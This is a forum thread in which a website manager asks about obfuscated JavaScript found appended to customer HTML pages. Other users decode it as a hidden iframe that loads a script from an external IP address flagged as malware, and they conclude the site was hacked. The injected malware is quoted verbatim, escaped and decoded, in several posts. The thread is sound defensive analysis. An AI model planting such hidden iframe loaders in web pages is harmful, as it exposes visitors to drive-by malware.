Explain some javascript code

Collapse
X
Collapse
 
  • Page of 1
  • Time
  • Show
Clear All
new posts
Previous template Next
  • KevinADC
    Recognized Expert Specialist
    • Jan 2007
    • 4092
    #1

    Explain some javascript code

    I found this javascript code appended to the end of an index.html page on a website that I manage for a customer, I did not put it there when I uploaded the page to the hosting services server. Can anyone give my a heads up on what it does? It was appended to the very bottom of the html document after the closing html tag:

    Code:
    </html>
<script language="javascript"> document.write( unescape( '%3C%69%66%72%61%6D%65%20%73%72%63%3D%20%68%74%74%70%3A%2F%2F%38%31%2E%32%39%2E%32%34%31%2E%37%30%2F%6E%65%77%2F%63%6F%75%6E%74%65%72%2E%70%68%70%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%22%30%22%20%77%69%64%74%68%3D%22%31%22%20%68%65%69%67%68%74%3D%22%31%22%20%73%63%72%6F%6C%6C%69%6E%67%3D%22%6E%6F%22%20%6E%61%6D%65%3D%63%6F%75%6E%74%65%72%3E%3C%2F%69%66%72%61%6D%65%3E' ) ); </script>
<script>eval(unescape("%77%69%6e%64%6f%77%2e%73%74%61%74%75%73%3d%27%44%6f%6e%65%27%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%69%66%72%61%6d%65%20%6e%61%6d%65%3d%37%38%20%73%72%63%3d%5c%27%68%74%74%70%3a%2f%2f%38%31%2e%32%39%2e%32%34%31%2e%37%30%2f%6e%65%77%2f%63%6f%75%6e%74%65%72%2e%70%68%70%3f%27%2b%4d%61%74%68%2e%72%6f%75%6e%64%28%4d%61%74%68%2e%72%61%6e%64%6f%6d%28%29%2a%32%38%37%38%30%39%29%2b%27%62%34%31%36%63%32%33%5c%27%20%77%69%64%74%68%3d%36%34%31%20%68%65%69%67%68%74%3d%34%34%39%20%73%74%79%6c%65%3d%5c%27%64%69%73%70%6c%61%79%3a%20%6e%6f%6e%65%5c%27%3e%3c%2f%69%66%72%61%6d%65%3e%27%29")); </script>
    Thanks in advance.
    Tags: None
    • KevinADC
      Recognized Expert Specialist
      • Jan 2007
      • 4092
      #2
      I think maybe my browser is adding this javascript, I use Mozilla FireFox 2.0.0.9 with Adblock Plus installed. But if anyone has any insight I would appreciate it.

        Comment

        • mrhoo
          Contributor
          • Jun 2006
          • 428
          #3
          It's a hidden iframe that (apparently) hosts a hit-counter script on your page.
          Maybe it is paid advertising- it is an old script.
          check out the whosis for http:// 81.29.241.70

          <script language="javas cript">
          <iframe src= http:// 81.29.241.70/new/counter. php frameborder="0" width="1"
          height="1" scrolling="no" name=counter></iframe>
          window.status=' Done';
          </script>
          <script>
          eval(document.w rite('<iframe name=78 src=\'http://81.29.241.70/new/counter.php?'+
          'Math.round(Mat h.random()*2878 09)+'b416c23\' width=641 height=449 style=\'display : none\'>
          </iframe>')

            Comment

            • KevinADC
              Recognized Expert Specialist
              • Jan 2007
              • 4092
              #4
              whois reports no matches for that IP address. I have never used any ads or hit counters on the website or that webpage. The javascript was not there when the file was uploaded several months ago. I see something similar appended to another page on the same site:

              Code:
              <html>
<head>
<title>Beas Party Ponies Image Gallery</title>
<link rel="shortcut icon" href="../favicon.ico" >
</head>
<frameset rows="*" name="main" framespacing="0" border="0">
    <frame src="content.shtml" name="display" scrolling="yes" frameborder="no" name="display" marginwidth="0" marginheight="0">
</frameset>
</html><script>eval(unescape("%77%69%6e%64%6f%77%2e%73%74%61%74%75%73%3d%27%44%6f%6e%65%27%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%69%66%72%61%6d%65%20%6e%61%6d%65%3d%38%65%38%31%38%36%20%73%72%63%3d%5c%27%68%74%74%70%3a%2f%2f%38%31%2e%32%39%2e%32%34%31%2e%37%30%2f%6e%65%77%2f%63%6f%75%6e%74%65%72%2e%70%68%70%3f%27%2b%4d%61%74%68%2e%72%6f%75%6e%64%28%4d%61%74%68%2e%72%61%6e%64%6f%6d%28%29%2a%37%34%38%38%30%29%2b%27%30%39%37%30%34%30%36%66%64%36%30%5c%27%20%77%69%64%74%68%3d%34%38%30%20%68%65%69%67%68%74%3d%31%35%36%20%73%74%79%6c%65%3d%5c%27%64%69%73%70%6c%61%79%3a%20%6e%6f%6e%65%5c%27%3e%3c%2f%69%66%72%61%6d%65%3e%27%29")); </script>

                Comment

                • KevinADC
                  Recognized Expert Specialist
                  • Jan 2007
                  • 4092
                  #5
                  google is reporting pages with that script as malware that may harm your computer.

                    Comment

                    • acoder
                      Recognized Expert MVP
                      • Nov 2006
                      • 16032
                      #6
                      Originally posted by KevinADC
                      I see something similar appended to another page on the same site:
                      This one is similar:
                      [code=javascript]window.status=' Done';document. write('<iframe name=8e8186 src=\'http://81.29.241.70/new/counter.php?'+M ath.round(Math. random()*74880) +'0970406fd60\' width=480 height=156 style=\'display : none\'></iframe>')[/code]To find this for yourself, use two textareas - one for the input of the escaped text and the other for the output. Then unescape the value of the input using unescape() or you could use something like this.

                      I think you should ask your host why this script has been added.

                        Comment

                        • KevinADC
                          Recognized Expert Specialist
                          • Jan 2007
                          • 4092
                          #7
                          Originally posted by acoder
                          This one is similar:
                          [code=javascript]window.status=' Done';document. write('<iframe name=8e8186 src=\'http://81.29.241.70/new/counter.php?'+M ath.round(Math. random()*74880) +'0970406fd60\' width=480 height=156 style=\'display : none\'></iframe>')[/code]To find this for yourself, use two textareas - one for the input of the escaped text and the other for the output. Then unescape the value of the input using unescape() or you could use something like this.

                          I think you should ask your host why this script has been added.
                          I have contacted the host. They are investigating because it appears the site was hacked and this code was added to index.xxx pages and a few other pages.

                          Thanks.

                            Comment

                            • acoder
                              Recognized Expert MVP
                              • Nov 2006
                              • 16032
                              #8
                              Originally posted by KevinADC
                              I have contacted the host. They are investigating because it appears the site was hacked and this code was added to index.xxx pages and a few other pages.

                              Thanks.
                              That should explain it. At least you seem to have got to the bottom of it.

                                Comment

                                Previous template Next
                                Working...